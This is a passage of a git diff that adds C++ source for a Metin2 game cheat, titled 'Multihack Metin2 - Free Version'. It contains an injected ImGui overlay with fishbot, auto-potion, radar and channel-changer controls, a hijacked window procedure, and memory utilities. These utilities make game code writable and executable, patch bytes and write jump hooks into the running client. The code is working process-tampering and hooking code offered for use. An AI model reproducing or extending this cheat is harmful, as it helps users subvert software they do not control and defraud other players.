ImGui::IconButton(&Settings::PROTECTION_AUTO_LOGIN_ENABLE, XOR("Auto-Login"), ResourceMap[XOR("AutologinOn")], ResourceMap[XOR("AutologinOff")], ImVec2(20, 20)); + +#ifdef FISHBOT + if (ImGui::IconButton(&Settings::FISH_ENABLE, XOR("FishBot Switch"), ResourceMap[XOR("FishbotOn")], ResourceMap[XOR("FishbotOff")], ImVec2(20, 20))) + { + if (Settings::FISH_ENABLE) + { + Fish::Instance().OnStart(); + } + else + { + Fish::Instance().OnStop(); + } + } +#endif + ImGui::IconButton(&Settings::MAIN_POTION_ENABLE, XOR("Auto-Potion"), ResourceMap[XOR("PotionOn")], ResourceMap[XOR("PotionOff")], ImVec2(20, 20)); + if (ImGui::PopupButton(XOR("Channel Change"), ResourceMap[XOR("ChannelChangerIcon")], ImVec2(20, 20))) + { + ImGui::OpenPopup(XOR("##channelchange")); + } + if (ImGui::BeginPopup(XOR("##channelchange"), ImGuiWindowFlags_AlwaysAutoResize)) + { + if (Globals::Server == ServerName::METINPL) + { + for (map< pair>, pair>::iterator itor = Settings::SERVER_INFO_LIST_GLOBAL.begin(); itor != Settings::SERVER_INFO_LIST_GLOBAL.end(); itor++) + { + const char* serverName = (const char*)(GetStr(Globals::iCPythonNetworkStreamInstance + 0x7A70)); + if (StringExtension::Contains(serverName, itor->first.second.first.c_str())) + { + if (ImGui::Button(itor->first.second.second.c_str(), ImVec2(60, 0))) + { + GameFunctions::NetworkStream__DirectEnterMode_Set(0); + GameFunctions::NetworkStreamConnect(inet_addr(itor->second.second.c_str()), itor->second.first + Settings::MAIN_CHANNEL_CHANGER_PORT_OFFSET); + } + } + } + } + else + { + for (map< pair>, pair>::iterator itor = Settings::SERVER_INFO_LIST.begin(); itor != Settings::SERVER_INFO_LIST.end(); itor++) + { + if (itor->first.second.first == Globals::Server) + { + if (ImGui::Button(itor->first.second.second.c_str(), ImVec2(60, 0))) + { + GameFunctions::NetworkStream__DirectEnterMode_Set(0); + GameFunctions::NetworkStreamConnect(inet_addr(itor->second.second.c_str()), itor->second.first + Settings::MAIN_CHANNEL_CHANGER_PORT_OFFSET); + } + } + } + } + ImGui::EndPopup(); + } + if (ImGui::PopupButton(XOR("Exit Game"), ResourceMap[XOR("ExitGameIcon")], ImVec2(20, 20))) + { + ImGui::OpenPopup(XOR("##exitgame")); + } + if (ImGui::BeginPopup(XOR("##exitgame"), ImGuiWindowFlags_AlwaysAutoResize)) + { + if (ImGui::Button(XOR("Exit"), ImVec2(60, 0))) { + + PostQuitMessage(0); + } + if (ImGui::Button(XOR("Logout"), ImVec2(60, 0))) + { + + if (Globals::Server == ServerName::METINPL) + { + GameFunctions::NetworkStreamSendCommandPacket(0, 2, ""); + } + else + { + GameFunctions::NetworkStreamSendChatPacket(XOR("/logout")); + } + } + + ImGui::EndPopup(); + } + } + ImGui::End(); + if (LogWindowOpen) + { + Logger::Draw(); + } + if(CheatWindowOpen) + { + //ImGui::Begin("Color Window"); + //ImGui::ColorEdit3("TabOpen", (float*)&TabOpenColor, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + //ImGui::ColorEdit3("TabCloes", (float*)&TabClosedColor, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + //ImGui::ColorEdit3("TabHovered", (float*)&TabHoveredColor, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + //ImGui::ColorEdit3("TabClick", (float*)&TabClickColor, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + //ImGui::ColorEdit3("HeaderFooterColor", (float*)&HeaderFooterColor, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + //ImGui::End(); + //ImGui::DrawImage(Background, ImVec2(1920 / 2.25, 1080 / 2.35), ImVec2(0, 0), ImVec2(1, 1), ImVec4(1.f, 1.f, 1.f, 0.2f)); + //ImGui::SameLine(); + ImGui::SetNextWindowBgAlpha(0.90f); + ImGui::SetNextWindowSize(ImVec2(600, 385)); + ImGuiWindowFlags flags = ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoCollapse | ImGuiWindowFlags_NoNavInputs | ImGuiWindowFlags_NoScrollbar | ImGuiWindowFlags_NoScrollWithMouse; + ImGui::PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(0.0f, 0.0f)); + ImGui::Begin(XOR("##Window"), &CheatWindowOpen, flags); + ImGui::PopStyleVar(); + ImGui::PushStyleColor(ImGuiCol_ChildBg, HeaderFooterColor); + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0.0f, 0.0f)); + ImGui::BeginChild(XOR("Header"), ImVec2(ImGui::GetWindowWidth(), 40), false); + ImGui::Logo(ResourceMap[XOR("LogoHref")], ImVec2(38, 28)); + for (map < pair, pair> ::iterator itor = MainForm::TabMenuList.begin(); itor != MainForm::TabMenuList.end(); itor++) + { + AddMenu(itor->first.first, itor->first.second, itor->second.first.c_str()); + } + ImGui::EndChild(); + ImGui::PopStyleColor(); + ImGui::PopStyleVar(); + + ImGui::DrawImage(ResourceMap[XOR("Background")], ImVec2(1920 / 3.2, 600 / 1.5), ImVec2(0, 0), ImVec2(1, 1), ImVec4(1.f, 1.f, 1.f, 0.75f)); + ImGui::PushStyleColor(ImGuiCol_FrameBg, (ImVec4)ImColor(18, 20, 23, 200)); + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0.0f, 6.0f)); + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0.0f, 0.0f)); + ImGui::BeginChildFrame(1, ImVec2(75, 325)); + for (map< pair, pair>> ::iterator itor = MainCore::moduleList.begin(); itor != MainCore::moduleList.end(); itor++) + { + if (itor->second.first && itor->first.second == CurMenuOpen) + { + itor->second.second->OnTabs(); + } + } + ImGui::EndChild(); + ImGui::PopStyleColor(); + ImGui::PopStyleVar(2); + + ImGui::SameLine(); + + ImGui::BeginChildFrame(2, ImVec2(ImGui::GetWindowWidth() - 80, 325), ImGuiWindowFlags_NoBackground); + for (map< pair, pair>> ::iterator itor = MainCore::moduleList.begin(); itor != MainCore::moduleList.end(); itor++) + { + itor->second.second->OnMenu(); + } + ImGui::EndChild(); + + ImGui::PushStyleColor(ImGuiCol_ChildBg, HeaderFooterColor); + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0.0f, 0.0f)); + ImGui::BeginChild(XOR("Footer"), ImVec2(ImGui::GetWindowWidth(), 20), false); + ImGui::Dummy(ImVec2(5.0f, 0.0f)); ImGui::SameLine(); + ImGui::Text(XOR("Multihack Metin2 - Free Version")); + ImGui::SameLine(ImGui::GetWindowWidth() - 45); + ImGui::Text(XOR("C4US.PL")); + ImGui::EndChild(); + ImGui::PopStyleColor(); + ImGui::PopStyleVar(); + ImGui::End(); + } + + if (m_radarIsActive) + { + ShowRadar(); + } + } + ImGui::EndFrame(); + ImGui::Render(); +#ifdef DX9 + ImGui_ImplDX9_RenderDrawData(ImGui::GetDrawData()); +#else + ImGui_ImplDX8_RenderDrawData(ImGui::GetDrawData()); +#endif + } +} + + +void MainForm::Initialize() +{ + ImGui::CreateContext(); + ImGuiIO& io = ImGui::GetIO(); + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, + 0x0104, 0x017C, + 0, + }; + ImFont* font = io.Fonts->AddFontFromMemoryCompressedTTF(&PoppinsMedium_compressed_data, PoppinsMedium_compressed_size, 13.0f, 0, ranges); + unsigned char* pixels; + int width, height, BYTEs_per_pixel; + io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height, &BYTEs_per_pixel); + if (Globals::Server != ServerName::METINPL) + { + ImFontConfig icons_config; icons_config.MergeMode = true; icons_config.PixelSnapH = true; + static const ImWchar icons_ranges[] = { ICON_MIN_FA, ICON_MAX_FA, 0 }; + io.Fonts->AddFontFromMemoryCompressedTTF(&FontAwesome_compressed_data, FontAwesome_compressed_size, 12.0f, &icons_config, icons_ranges); + } + font->AddRemapChar(0xA5, 0x0104); + font->AddRemapChar(0xC6, 0x0106); + font->AddRemapChar(0xCA, 0x0118); + font->AddRemapChar(0xA3, 0x0141); + font->AddRemapChar(0xD1, 0x0143); + font->AddRemapChar(0xD3, 0x00D3); + font->AddRemapChar(0x8C, 0x015A); + font->AddRemapChar(0x8F, 0x0179); + font->AddRemapChar(0xAF, 0x017B); + + font->AddRemapChar(0xB9, 0x0105); + font->AddRemapChar(0xE6, 0x0107); + font->AddRemapChar(0xEA, 0x0119); + font->AddRemapChar(0xB3, 0x0142); + font->AddRemapChar(0xF1, 0x0144); + font->AddRemapChar(0xF3, 0x00F3); + font->AddRemapChar(0x9C, 0x015B); + font->AddRemapChar(0x9F, 0x017A); + font->AddRemapChar(0xBF, 0x017C); + + io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange; + io.IniFilename = NULL; + ImGuiStyle* style = &ImGui::GetStyle(); + style->WindowPadding = ImVec2(5, 5); + style->WindowRounding = 5.0f; + style->FramePadding = ImVec2(5, 5); + style->FrameRounding = 4.0f; + style->ItemSpacing = ImVec2(6, 6); + style->ItemInnerSpacing = ImVec2(4, 6); + style->IndentSpacing = 25.0f; + style->ScrollbarSize = 10.0f; + style->ScrollbarRounding = 0.0f; + style->GrabMinSize = 5.0f; + style->GrabRounding = 3.0f; + style->WindowBorderSize = 0.0f; + style->Colors[ImGuiCol_Text] = ImVec4(0.80f, 0.80f, 0.83f, 1.00f); + style->Colors[ImGuiCol_TextDisabled] = ImVec4(0.70f, 0.78f, 0.90f, 1.00f); + style->Colors[ImGuiCol_WindowBg] = ImVec4(0.07f, 0.08f, 0.09f, 1.00f); + style->Colors[ImGuiCol_ChildBg] = ImVec4(0.09f, 0.10f, 0.11f, 1.00f); + style->Colors[ImGuiCol_PopupBg] = ImVec4(0.07f, 0.07f, 0.09f, 1.00f); + style->Colors[ImGuiCol_Border] = ImVec4(0.26f, 0.48f, 0.85f, 0.43f); + style->Colors[ImGuiCol_BorderShadow] = ImVec4(0.92f, 0.91f, 0.88f, 0.00f); + style->Colors[ImGuiCol_FrameBg] = ImVec4(0.70f, 0.78f, 0.90f, 0.05f); + style->Colors[ImGuiCol_FrameBgHovered] = ImVec4(0.70f, 0.78f, 0.90f, 0.34f); + style->Colors[ImGuiCol_FrameBgActive] = ImVec4(0.70f, 0.78f, 0.90f, 0.58f); + style->Colors[ImGuiCol_TitleBg] = ImVec4(0.09f, 0.10f, 0.11f, 1.00f); + style->Colors[ImGuiCol_TitleBgActive] = ImVec4(0.09f, 0.10f, 0.11f, 1.00f); + style->Colors[ImGuiCol_TitleBgCollapsed] = ImVec4(0.00f, 0.00f, 0.00f, 191.00f); + style->Colors[ImGuiCol_MenuBarBg] = ImVec4(0.10f, 0.09f, 0.12f, 1.00f); + style->Colors[ImGuiCol_ScrollbarBg] = ImVec4(0.09f, 0.10f, 0.11f, 1.00f); + style->Colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.26f, 0.48f, 0.85f, 1.00f); + style->Colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.26f, 0.48f, 0.85f, 0.62f); + style->Colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.35f, 0.33f, 0.84f, 1.00f); + style->Colors[ImGuiCol_CheckMark] = ImVec4(0.07f, 0.08f, 0.09f, 1.00f); + style->Colors[ImGuiCol_SliderGrab] = ImVec4(0.26f, 0.48f, 0.85f, 1.00f); + style->Colors[ImGuiCol_SliderGrabActive] = ImVec4(0.35f, 0.33f, 0.84f, 1.00f); + style->Colors[ImGuiCol_Button] = ImVec4(0.10f, 0.09f, 0.12f, 1.00f); + style->Colors[ImGuiCol_ButtonHovered] = ImVec4(0.24f, 0.23f, 0.29f, 1.00f); + style->Colors[ImGuiCol_ButtonActive] = ImVec4(0.56f, 0.56f, 0.58f, 1.00f); + style->Colors[ImGuiCol_Header] = ImVec4(0.10f, 0.09f, 0.12f, 1.00f); + style->Colors[ImGuiCol_HeaderHovered] = ImVec4(0.56f, 0.56f, 0.58f, 1.00f); + style->Colors[ImGuiCol_HeaderActive] = ImVec4(0.06f, 0.05f, 0.07f, 1.00f); + style->Colors[ImGuiCol_Separator] = ImVec4(0.13f, 0.14f, 0.17f, 1.00f); + style->Colors[ImGuiCol_SeparatorHovered] = ImVec4(0.13f, 0.14f, 0.17f, 1.00f); + style->Colors[ImGuiCol_SeparatorActive] = ImVec4(0.13f, 0.14f, 0.17f, 1.00f); + style->Colors[ImGuiCol_ResizeGrip] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); + style->Colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.56f, 0.56f, 0.58f, 1.00f); + style->Colors[ImGuiCol_ResizeGripActive] = ImVec4(0.06f, 0.05f, 0.07f, 1.00f); + style->Colors[ImGuiCol_Tab] = ImVec4(0.26f, 0.48f, 0.85f, 0.60f); + style->Colors[ImGuiCol_TabHovered] = ImVec4(0.26f, 0.48f, 0.85f, 0.86f); + style->Colors[ImGuiCol_TabActive] = ImVec4(0.26f, 0.48f, 0.85f, 1.00f); + style->Colors[ImGuiCol_TabUnfocused] = ImVec4(0.07f, 0.10f, 0.15f, 0.97f); + style->Colors[ImGuiCol_TabUnfocusedActive] = ImVec4(0.14f, 0.26f, 0.42f, 1.00f); + style->Colors[ImGuiCol_PlotLines] = ImVec4(0.40f, 0.39f, 0.38f, 0.63f); + style->Colors[ImGuiCol_PlotLinesHovered] = ImVec4(0.25f, 1.00f, 0.00f, 1.00f); + style->Colors[ImGuiCol_PlotHistogram] = ImVec4(0.40f, 0.39f, 0.38f, 0.63f); + style->Colors[ImGuiCol_PlotHistogramHovered] = ImVec4(0.25f, 1.00f, 0.00f, 1.00f); + style->Colors[ImGuiCol_TextSelectedBg] = ImVec4(0.25f, 1.00f, 0.00f, 0.43f); + style->Colors[ImGuiCol_DragDropTarget] = ImVec4(1.00f, 1.00f, 0.00f, 0.90f); + style->Colors[ImGuiCol_NavHighlight] = ImVec4(0.26f, 0.48f, 0.85f, 1.00f); + style->Colors[ImGuiCol_NavWindowingHighlight] = ImVec4(1.00f, 1.00f, 1.00f, 0.70f); + style->Colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.20f); + style->Colors[ImGuiCol_ModalWindowDimBg] = ImVec4(1.00f, 0.98f, 0.95f, 0.73f); + ImGui_ImplWin32_Init(Globals::mainHwnd); +#ifdef DX9 + ImGui_ImplDX9_Init(Device::pDevice); +#else + ImGui_ImplDX8_Init(Device::pDevice); +#endif + SetImages(); + + CurTabOpen = 10; + D3DXCreateSphere(Device::pDevice, 1.0f, 32, 32, &Device::ms_lpSphereMesh, NULL); + D3DXCreateCylinder(Device::pDevice, 1.0f, 1.0f, 1.0f, 8, 8, &Device::ms_lpCylinderMesh, NULL); + oWndProc = (WNDPROC)SetWindowLongPtr(Globals::mainHwnd, GWL_WNDPROC, (LONG)WndProc); + TabMenuList = + { + {make_pair(1, ResourceMap[XOR("MainTab")]), make_pair(XOR("Main"), 10)}, +#ifdef FISHBOT + { make_pair(2, ResourceMap[XOR("FishbotTab")]), make_pair(XOR("Fishbot"), 20) }, +#endif + { make_pair(3, ResourceMap[XOR("AdditionalTab")]), make_pair(XOR("Additional"), 31) }, + { make_pair(4, ResourceMap[XOR("VisualsTab")]), make_pair(XOR("Visuals"), 40) }, + { make_pair(5, ResourceMap[XOR("ProtectionTab")]), make_pair(XOR("Protection"), 50) }, + { make_pair(6, ResourceMap[XOR("SettingsTab")]), make_pair(XOR("Settings"), 60) }, +#ifdef DEVELOPER_MODE + { make_pair(7, ResourceMap[XOR("DeveloperTab")]), make_pair(XOR("Developer"), 70) } +#endif + }; + IsInitialized = true; +} + +extern LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); +LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + if (MainForm::SideBarIsOpen) + { + //ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam); + ImGuiIO& io = ImGui::GetIO(); + switch (msg) + { + case WM_LBUTTONDOWN: + io.MouseDown[0] = true; + break; + case WM_LBUTTONUP: + io.MouseDown[0] = false; + break; + case WM_RBUTTONDOWN: + io.MouseDown[1] = true; + break; + case WM_RBUTTONUP: + io.MouseDown[1] = false; + break; + case WM_MBUTTONDOWN: + io.MouseDown[2] = true; + break; + case WM_MBUTTONUP: + io.MouseDown[2] = false; + break; + case WM_MOUSEWHEEL: + io.MouseWheel += GET_WHEEL_DELTA_WPARAM(wParam) > 0 ? +1.0f : -1.0f; + if (MainForm::IsRadarHovered) + { + Settings::RADAR_ZOOM *= GET_WHEEL_DELTA_WPARAM(wParam) > 0 ? 2.0f : 0.5f; + if (Settings::RADAR_ZOOM >= 4.0f) + Settings::RADAR_ZOOM = 4.0f; + if (Settings::RADAR_ZOOM <= minZoom) + Settings::RADAR_ZOOM = minZoom; + } + break; + case WM_MOUSEMOVE: + io.MousePos.x = (signed short)(lParam); + io.MousePos.y = (signed short)(lParam >> 16); + break; + case WM_KEYDOWN: + if (wParam < 256) + io.KeysDown[wParam] = 1; + break; + case WM_KEYUP: + if (wParam < 256) + io.KeysDown[wParam] = 0; + break; + case WM_CHAR: + // You can also use ToAscii()+GetKeyboardState() to retrieve characters. + if (wParam > 0 && wParam < 0x10000) + io.AddInputCharacter((unsigned short)wParam); + break; + } + if (io.WantCaptureMouse || io.WantCaptureKeyboard || io.WantTextInput) + { + return true; + } + } + return CallWindowProc(oWndProc, hWnd, msg, wParam, lParam); +} + diff --git a/EngineX-Pro/MainForm.h b/EngineX-Pro/MainForm.h new file mode 100644 index 0000000..f67ef1a --- /dev/null +++ b/EngineX-Pro/MainForm.h @@ -0,0 +1,114 @@ +#pragma once + +class MainForm +{ +public: + + + static size_t CurTabOpen ; + static size_t CurMenuOpen; + static bool IsInitialized; + static bool SideBarIsOpen; + static bool ShowFishLog; + + static bool IsRadarHovered; + static void AddTab(size_t Index, const char* Text); + static void AddMenu(size_t Index, ImTextureID texture, const char* Text); + + + + + static void Initialize(); + static void ShowRadar(); + static void Menu(); + + static void SetImages(); + static bool Hotkey(int vKey, int time = 500); + + static map ResourceMap; + //static DirectTexture LogoHref; + //static DirectTexture Background; + //static DirectTexture WindowOn; + //static DirectTexture WindowOff; + //static DirectTexture RadarOn; + //static DirectTexture RadarOff; + //static DirectTexture MHOn; + //static DirectTexture MHOff; + //static DirectTexture AutologinOn; + //static DirectTexture AutologinOff; + //static DirectTexture FishbotOn; + //static DirectTexture FishbotOff; + //static DirectTexture ExitGameIcon; + //static DirectTexture ChannelChangerIcon; + //static DirectTexture LogOn; + //static DirectTexture LogOff; + ////MenuTabs + //static DirectTexture MainTab; + //static DirectTexture FishbotTab; + //static DirectTexture AdditionalTab; + //static DirectTexture VisualsTab; + //static DirectTexture ProtectionTab; + //static DirectTexture SettingsTab; + //static DirectTexture DeveloperTab; + + //static DirectTexture ninja_a_0; + //static DirectTexture ninja_a_1; + //static DirectTexture ninja_a_2; + //static DirectTexture ninja_a_3; + //static DirectTexture ninja_a_4; + //static DirectTexture ninja_a_5; + + //static DirectTexture ninja_d_0; + //static DirectTexture ninja_d_1; + //static DirectTexture ninja_d_2; + //static DirectTexture ninja_d_3; + //static DirectTexture ninja_d_4; + //static DirectTexture ninja_d_5; + + //static DirectTexture shaman_d_0; + //static DirectTexture shaman_d_1; + //static DirectTexture shaman_d_2; + //static DirectTexture shaman_d_3; + //static DirectTexture shaman_d_4; + //static DirectTexture shaman_d_5; + + //static DirectTexture shaman_h_0; + //static DirectTexture shaman_h_1; + //static DirectTexture shaman_h_2; + //static DirectTexture shaman_h_3; + //static DirectTexture shaman_h_4; + //static DirectTexture shaman_h_5; + + //static DirectTexture sura_b_0; + //static DirectTexture sura_b_1; + //static DirectTexture sura_b_2; + //static DirectTexture sura_b_3; + //static DirectTexture sura_b_4; + //static DirectTexture sura_b_6; + + //static DirectTexture sura_w_0; + //static DirectTexture sura_w_1; + //static DirectTexture sura_w_2; + //static DirectTexture sura_w_3; + //static DirectTexture sura_w_4; + //static DirectTexture sura_w_5; + + //static DirectTexture warrior_b_0; + //static DirectTexture warrior_b_1; + //static DirectTexture warrior_b_2; + //static DirectTexture warrior_b_3; + //static DirectTexture warrior_b_4; + //static DirectTexture warrior_b_5; + + //static DirectTexture warrior_m_0; + //static DirectTexture warrior_m_1; + //static DirectTexture warrior_m_2; + //static DirectTexture warrior_m_3; + //static DirectTexture warrior_m_4; + //static DirectTexture warrior_m_5; + + //static DirectTexture skill_none; + //static DirectTexture skill_on; + //static DirectTexture skill_off; + static map < pair, pair> TabMenuList; +}; diff --git a/EngineX-Pro/MathExtension.h b/EngineX-Pro/MathExtension.h new file mode 100644 index 0000000..1117190 --- /dev/null +++ b/EngineX-Pro/MathExtension.h @@ -0,0 +1,10 @@ +#pragma once + +class MathExtension +{ +public: + static bool PointInCircle(D3DVECTOR posA, D3DVECTOR posB, float r) + { + return (posA.x - posB.x) * (posA.x - posB.x) + (posA.y - posB.y) * (posA.y - posB.y) < r * r; + } +}; diff --git a/EngineX-Pro/MemAccessor.cpp b/EngineX-Pro/MemAccessor.cpp new file mode 100644 index 0000000..e59bca3 --- /dev/null +++ b/EngineX-Pro/MemAccessor.cpp @@ -0,0 +1,26 @@ +#include "polyhook2/MemAccessor.hpp" +#include "polyhook2/MemProtector.hpp" + +#define WIN32_LEAN_AND_MEAN +#include + +bool PLH::MemAccessor::mem_copy(uint64_t dest, uint64_t src, uint64_t size) const { + memcpy((char*)dest, (char*)src, (SIZE_T)size); + return true; +} + +bool PLH::MemAccessor::safe_mem_write(uint64_t dest, uint64_t src, uint64_t size, size_t& written) const noexcept { + written = 0; + return WriteProcessMemory(GetCurrentProcess(), (char*)dest, (char*)src, (SIZE_T)size, (PSIZE_T)&written); +} + +bool PLH::MemAccessor::safe_mem_read(uint64_t src, uint64_t dest, uint64_t size, size_t& read) const noexcept { + read = 0; + return ReadProcessMemory(GetCurrentProcess(), (char*)src, (char*)dest, (SIZE_T)size, (PSIZE_T)&read) || (GetLastError() == ERROR_PARTIAL_COPY); +} + +PLH::ProtFlag PLH::MemAccessor::mem_protect(uint64_t dest, uint64_t size, PLH::ProtFlag prot, bool& status) const { + DWORD orig; + status = VirtualProtect((char*)dest, (SIZE_T)size, TranslateProtection(prot), &orig) != 0; + return TranslateProtection(orig); +} \ No newline at end of file diff --git a/EngineX-Pro/MemProtector.cpp b/EngineX-Pro/MemProtector.cpp new file mode 100644 index 0000000..bd76eab --- /dev/null +++ b/EngineX-Pro/MemProtector.cpp @@ -0,0 +1,102 @@ +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/Enums.hpp" + +#include + +PLH::ProtFlag operator|(PLH::ProtFlag lhs, PLH::ProtFlag rhs) { + return static_cast( + static_cast(lhs) | + static_cast(rhs)); +} + +bool operator&(PLH::ProtFlag lhs, PLH::ProtFlag rhs) { + return static_cast(lhs) & + static_cast(rhs); +} + +std::ostream& operator<<(std::ostream& os, const PLH::ProtFlag flags) { + if (flags == PLH::ProtFlag::UNSET) { + os << "UNSET"; + return os; + } + + if (flags & PLH::ProtFlag::X) + os << "x"; + else + os << "-"; + + if (flags & PLH::ProtFlag::R) + os << "r"; + else + os << "-"; + + if (flags & PLH::ProtFlag::W) + os << "w"; + else + os << "-"; + + if (flags & PLH::ProtFlag::NONE) + os << "n"; + else + os << "-"; + + if (flags & PLH::ProtFlag::P) + os << " private"; + else if (flags & PLH::ProtFlag::S) + os << " shared"; + return os; +} + +int PLH::TranslateProtection(const PLH::ProtFlag flags) { + int NativeFlag = 0; + if (flags == PLH::ProtFlag::X) + NativeFlag = PAGE_EXECUTE; + + if (flags == PLH::ProtFlag::R) + NativeFlag = PAGE_READONLY; + + if (flags == PLH::ProtFlag::W || (flags == (PLH::ProtFlag::R | PLH::ProtFlag::W))) + NativeFlag = PAGE_READWRITE; + + if ((flags & PLH::ProtFlag::X) && (flags & PLH::ProtFlag::R)) + NativeFlag = PAGE_EXECUTE_READ; + + if ((flags & PLH::ProtFlag::X) && (flags & PLH::ProtFlag::W)) + NativeFlag = PAGE_EXECUTE_READWRITE; + + if ((flags & PLH::ProtFlag::X) && (flags & PLH::ProtFlag::R) && (flags & PLH::ProtFlag::W)) + NativeFlag = PAGE_EXECUTE_READWRITE; + + if (flags & PLH::ProtFlag::NONE) + NativeFlag = PAGE_NOACCESS; + return NativeFlag; +} + +PLH::ProtFlag PLH::TranslateProtection(const int prot) { + PLH::ProtFlag flags = PLH::ProtFlag::UNSET; + switch (prot) { + case PAGE_EXECUTE: + flags = flags | PLH::ProtFlag::X; + break; + case PAGE_READONLY: + flags = flags | PLH::ProtFlag::R; + break; + case PAGE_READWRITE: + flags = flags | PLH::ProtFlag::W; + flags = flags | PLH::ProtFlag::R; + break; + case PAGE_EXECUTE_READWRITE: + flags = flags | PLH::ProtFlag::X; + flags = flags | PLH::ProtFlag::R; + flags = flags | PLH::ProtFlag::W; + break; + case PAGE_EXECUTE_READ: + flags = flags | PLH::ProtFlag::X; + flags = flags | PLH::ProtFlag::R; + break; + case PAGE_NOACCESS: + flags = flags | PLH::ProtFlag::NONE; + break; + } + return flags; +} diff --git a/EngineX-Pro/MemoryExtension.h b/EngineX-Pro/MemoryExtension.h new file mode 100644 index 0000000..45345ab --- /dev/null +++ b/EngineX-Pro/MemoryExtension.h @@ -0,0 +1,236 @@ +#pragma once +class MemoryExtension +{ +public: + static DWORD ReadMemory(const LPVOID lpAddress, LPVOID lpBuf, const UINT uSize) + { + DWORD dwErrorCode = 0; + DWORD dwOldProtect = 0; + // ---- + int iRes = VirtualProtect(lpAddress, uSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); + // ---- + if (iRes == 0) + { + dwErrorCode = GetLastError(); + return dwErrorCode; + } + // ---- + memcpy(lpBuf, lpAddress, uSize); + // ---- + DWORD dwBYTEs = 0; + // ---- + iRes = VirtualProtect(lpAddress, uSize, dwOldProtect, &dwBYTEs); + // ---- + if (iRes == 0) + { + dwErrorCode = GetLastError(); + return dwErrorCode; + } + // ---- + return 0x00; + }; + static DWORD WriteMemory(const LPVOID lpAddress, const LPVOID lpBuf, const UINT uSize) + { + DWORD dwErrorCode = 0; + DWORD dwOldProtect = 0; + // ---- + int iRes = VirtualProtect(lpAddress, uSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); + // ---- + if (iRes == 0) + { + dwErrorCode = GetLastError(); + return dwErrorCode; + } + // ---- + memcpy(lpAddress, lpBuf, uSize); + // ---- + DWORD dwBytes = 0; + // ---- + iRes = VirtualProtect(lpAddress, uSize, dwOldProtect, &dwBytes); + // ---- + if (iRes == 0) + { + dwErrorCode = GetLastError(); + return dwErrorCode; + } + // ---- + return 0x00; + } + + static void MemSet(DWORD Addr, int mem, int size) + { + DWORD OldProtect; + VirtualProtect((LPVOID)Addr, size, PAGE_EXECUTE_READWRITE, &OldProtect); + + memset((void*)Addr, mem, size); + + VirtualProtect((LPVOID)Addr, size, OldProtect, &OldProtect); + } + + static void SetMemory(DWORD Addr, void* mem, int size) + { + + DWORD OldProtect; + VirtualProtect((LPVOID)Addr, size, PAGE_EXECUTE_READWRITE, &OldProtect); + + memcpy((void*)Addr, mem, size); + + VirtualProtect((LPVOID)Addr, size, OldProtect, &OldProtect); + + } + + static void JmpHook(DWORD FuncOffset, DWORD JmpOffset) + { + DWORD OldProtect; + VirtualProtect((LPVOID)JmpOffset, 4, PAGE_EXECUTE_READWRITE, &OldProtect); + *(DWORD*)(JmpOffset) = 0xE9; + *(DWORD*)(JmpOffset + 1) = FuncOffset - (JmpOffset + 5); + } + + + static DWORD SetByte(const LPVOID dwOffset, const BYTE btValue) + { + return WriteMemory(dwOffset, (LPVOID)&btValue, sizeof(BYTE)); + } + //--------------------------------------------------------------------------- + + static DWORD GetByte(const LPVOID dwOffset, BYTE& btValue) + { + return ReadMemory(dwOffset, (LPVOID)btValue, sizeof(BYTE)); + } + //--------------------------------------------------------------------------- + + static DWORD SetWord(const LPVOID dwOffset, const WORD wValue) + { + return WriteMemory(dwOffset, (LPVOID)&wValue, sizeof(WORD)); + } + //--------------------------------------------------------------------------- + + static DWORD GetWord(const LPVOID dwOffset, WORD& wValue) + { + return ReadMemory(dwOffset, (LPVOID)wValue, sizeof(WORD)); + } + //--------------------------------------------------------------------------- + + static DWORD SetDword(const LPVOID dwOffset, const DWORD dwValue) + { + return WriteMemory(dwOffset, (LPVOID)&dwValue, sizeof(DWORD)); + } + //--------------------------------------------------------------------------- + + static DWORD GetDword(const LPVOID dwOffset, DWORD& dwValue) + { + return ReadMemory(dwOffset, (LPVOID)dwValue, sizeof(DWORD)); + } + //--------------------------------------------------------------------------- + + static DWORD SetFloat(const LPVOID dwOffset, float fValue) + { + return WriteMemory(dwOffset, &fValue, sizeof(float)); + } + //--------------------------------------------------------------------------- + + static DWORD GetFloat(const LPVOID dwOffset, float& fValue) + { + return ReadMemory(dwOffset, &fValue, sizeof(float)); + } + //--------------------------------------------------------------------------- + + static DWORD SetDouble(const LPVOID dwOffset, double dValue) + { + return WriteMemory(dwOffset, &dValue, sizeof(double)); + } + //--------------------------------------------------------------------------- + + static DWORD SetJmp(const LPVOID dwEnterFunction, const LPVOID dwJMPAddress) + { + BYTE btBuf[5]; + DWORD dwShift = (ULONG_PTR)dwJMPAddress - (ULONG_PTR)dwEnterFunction - 5; + // ---- + btBuf[0] = 0xE9; + 